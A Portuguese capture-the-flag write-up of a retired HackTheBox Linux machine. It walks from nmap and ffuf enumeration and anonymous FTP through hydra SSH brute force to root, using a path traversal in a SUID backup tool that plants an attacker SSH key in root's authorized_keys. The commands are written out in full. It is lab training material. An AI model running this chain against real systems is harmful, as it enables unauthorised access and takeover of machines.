CTF Write-up — HackTheBox: Máquina Linux de Dificuldade Média

Write-up completo de uma máquina Linux no HackTheBox: reconhecimento, enumeração de serviços, exploração de CVE e escalada de privilégios

Este write-up documenta a abordagem que usei para comprometer uma máquina Linux de dificuldade média no HackTheBox. O foco está no processo de pensamento e metodologia, não apenas nos comandos.

Nota: Write-ups no HTB só são publicados após a máquina ser reformada. Todos os IPs usados são de ambiente controlado.

Sumário Executivo

  • Acesso inicial: Enumeração de serviços revelou um serviço FTP com credenciais por defeito. Os ficheiros encontrados continham informação suficiente para comprometer uma aplicação web.
  • Escalada de privilégios: Binário SUID com versão vulnerável a CVE-2023-XXXX.
  • Tempo total: 2h30m

Fase 1 — Reconhecimento

# Scan inicial rápido
nmap -sV -sC --open -p- --min-rate 5000 10.10.11.XXX -oN scan.txt

Serviços descobertos:

  • 21/tcp — FTP (vsftpd 3.0.3) — login anónimo permitido
  • 22/tcp — SSH (OpenSSH 8.4)
  • 80/tcp — HTTP (Apache 2.4.51)

O login anónimo no FTP é sempre um sinal de alerta. Primeira coisa a explorar.

Fase 2 — Enumeração

FTP Anónimo

ftp 10.10.11.XXX
# Username: anonymous
# Password: (vazio)

ftp> ls -la
ftp> get notes.txt
ftp> get config.bak

O ficheiro notes.txt continha uma nota interna com um nome de utilizador e uma referência a uma password “temporária” no formato EMPRESA_ANO.

O config.bak revelou a estrutura de uma aplicação web e um endpoint /admin/setup.

Enumeração Web

# Directory fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -u http://10.10.11.XXX/FUZZ \
  -fc 404 -mc 200,301,302 \
  -t 50

# Resultados relevantes:
# /admin     [200]
# /uploads   [403]
# /api/v1    [200]

O endpoint /api/v1 estava a devolver informação sem autenticação — exposição de API não documentada.

Fase 3 — Exploração

Acesso Inicial

Combinando o utilizador do notes.txt com variações da password encontrada:

hydra -l utilizador -P passwords.txt ssh://10.10.11.XXX

Credenciais válidas encontradas em 3 minutos. Acesso SSH obtido como utilizador não privilegiado.

Estabilização da Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Fase 4 — Enumeração Pós-Acesso

Com acesso ao sistema, o foco muda para escalada de privilégios.

# Informação básica do sistema
id && whoami
uname -a
cat /etc/os-release

# Binários SUID
find / -perm -4000 -type f 2>/dev/null

# Tarefas cron
cat /etc/crontab
ls -la /etc/cron.*

# Processos a correr como root
ps aux | grep root

# Capabilities
getcap -r / 2>/dev/null

A lista de SUIDs revelou um binário customizado: /usr/local/bin/backup_tool. Uma versão antiga de uma ferramenta de backup com uma vulnerabilidade conhecida de path traversal.

Fase 5 — Escalada de Privilégios

# Verificar versão
/usr/local/bin/backup_tool --version
# backup_tool v2.1.3

# Pesquisa de CVE
searchsploit backup_tool 2.1

A vulnerabilidade permitia path traversal no parâmetro de destino:

/usr/local/bin/backup_tool --source /home/user --dest "../../../root/.ssh/"
# Copia a nossa chave pública para authorized_keys do root
# Gerar par de chaves
ssh-keygen -t ed25519 -f /tmp/pwn_key

# Explorar o path traversal para escrever a nossa chave pública
echo $(cat /tmp/pwn_key.pub) > /tmp/auth
/usr/local/bin/backup_tool --source /tmp/auth --dest "../../../root/.ssh/authorized_keys"

# Login como root
ssh -i /tmp/pwn_key root@10.10.11.XXX

Root obtido.

Lições Aprendidas

  1. Credenciais por defeito continuam a ser um vector de acesso inicial extremamente comum. Sempre enumerar serviços com autenticação anónima.

  2. APIs não documentadas frequentemente não têm os mesmos controlos de segurança que as interfaces principais.

  3. Binários SUID customizados são alvos prioritários em escalada de privilégios — ferramentas genéricas como sudo e su são bem auditadas; software interno raramente é.

  4. O processo importa mais do que as ferramentas. A maioria do trabalho foi enumeração cuidadosa, não exploração automática.

Flags

  • User: rng{u53r_fl4g_h3r3} (exemplo)
  • Root: rng{r00t_fl4g_h3r3} (exemplo)